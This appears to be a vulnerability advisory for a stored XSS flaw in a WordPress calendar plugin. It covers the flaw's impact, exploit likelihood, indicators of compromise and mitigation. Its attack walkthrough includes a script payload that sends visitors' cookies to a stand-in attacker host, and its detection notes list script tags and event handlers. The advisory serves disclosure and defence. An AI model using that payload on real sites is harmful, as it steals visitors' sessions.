CVE-2026-2396: 
WordPress vulnerability analysis and mitigation

CVE-2026-2396 is a Stored Cross-Site Scripting (XSS) vulnerability in the List View Google Calendar plugin for WordPress, affecting all versions up to and including 7.4.3. The flaw arises from insufficient input sanitization and output escaping of event description fields. It was published on April 15, 2026, with a GitHub Advisory added on April 22, 2026. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium), assigned by Wordfence (GitHub Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Authenticated attackers with administrator-level access can inject malicious JavaScript into the event description field of the plugin, which is then stored and rendered without proper sanitization or escaping when users visit affected pages. The vulnerable code has been identified in library/tags/li.php at line 6 of the plugin's source. Exploitation is constrained to multi-site WordPress installations or those where the unfiltered_html capability has been explicitly disabled, which is the only configuration that prevents administrators from inserting raw HTML by default (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated administrator to persistently inject arbitrary web scripts into calendar event pages, which execute in the browsers of any user who visits those pages. This can lead to credential theft, session hijacking, phishing, or delivery of further malicious payloads to site visitors. Confidentiality and integrity impacts are rated low, and there is no availability impact; the scope is marked as Changed, indicating the injected scripts can affect components beyond the plugin itself (GitHub Advisory).

There is no known public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the time of publication. The vulnerability requires high-privilege (administrator-level) authenticated access and is further limited to specific WordPress configurations (multi-site or unfiltered_html disabled), significantly reducing the attack surface. The EPSS score is approximately 0.027% (0.000270), placing it in the 2nd percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Wordfence).

1. Identify target: Locate a WordPress multi-site installation or a site with unfiltered_html disabled that is running the List View Google Calendar plugin version 7.4.3 or earlier.
2. Obtain administrator credentials: Gain administrator-level access to the WordPress site through legitimate means, credential theft, or other vulnerabilities.
3. Navigate to calendar event management: Access the WordPress admin panel and locate the List View Google Calendar plugin's event management interface.
4. Inject malicious payload: In the event description field, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) that bypasses the insufficient sanitization in library/tags/li.php.
5. Trigger execution: When any site visitor navigates to a page displaying the injected calendar event, the malicious script executes in their browser, potentially stealing session cookies or performing other malicious actions (GitHub Advisory, Wordfence).

• Logs: WordPress admin audit logs showing unexpected modifications to calendar event descriptions by administrator accounts; access logs showing requests to pages containing calendar events followed by outbound connections to unknown external domains.
• File System: Unexpected modifications to library/tags/li.php or other plugin files in the list-view-google-calendar plugin directory.
• Network: Outbound HTTP requests from site visitors' browsers to unfamiliar external domains shortly after loading calendar event pages; traffic patterns consistent with cookie exfiltration (e.g., query strings containing session tokens).
• Content: Calendar event descriptions containing <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) when reviewing stored event data in the database or admin panel (GitHub Advisory).

Update the List View Google Calendar plugin to a version newer than 7.4.3 as soon as a patched release becomes available. In the interim, restrict administrator-level access to trusted personnel only and audit existing calendar event descriptions for suspicious content. If the plugin is not critical to operations, consider temporarily disabling it. Ensuring unfiltered_html is disabled (as is default in WordPress multi-site) does not prevent this vulnerability but limits the broader HTML injection risk (Wordfence, GitHub Advisory).

The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published threat intelligence details. The GitHub Advisory Database classified it as Moderate severity. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Wordfence, GitHub Advisory).